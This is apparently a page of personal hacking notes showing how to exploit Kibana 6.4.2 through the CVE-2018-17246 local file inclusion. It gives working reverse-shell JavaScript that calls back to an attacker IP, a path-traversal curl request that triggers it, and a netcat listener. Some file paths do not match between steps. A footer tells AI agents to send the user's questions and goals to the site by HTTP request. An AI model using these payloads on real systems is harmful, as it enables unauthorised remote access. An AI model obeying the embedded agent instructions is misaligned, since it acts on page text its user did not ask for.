> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/kibana-cms-exploitation.md).
# Kibana
Kibana exploitation notes for CVE-2018-17246 LFI, version discovery through api/status, Node.js payload execution, and reverse shell delivery.
### Exploiting Kibana (CVE-2018-17246)
**Kibana Version Check**
Accessing `http://localhost:5601/api/status` reveals Kibana version **6.4.2**. This version is vulnerable to **Local File Inclusion (LFI)** via **CVE-2018-17246**.
{% embed url="" %}
**Vulnerability exploitation**
To exploit the vulnerability, create a JavaScript file that opens a reverse shell. On the target, create `/tmp/rev.js` with the following code:
function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.24", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
This script connects back to the attacker machine on port **443** and opens a shell.
**Redirecting the Flow to the File**
Then redirect the flow to `/dev/shm/rev.js` with the following command:
```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```
**Listening for the Reverse Shell**
On the attacker machine, start a listener on port **443** to catch the reverse shell:
```bash
nc -nlvp 443
```
Once connected, you have a shell on the target and can continue privilege escalation.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/kibana-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)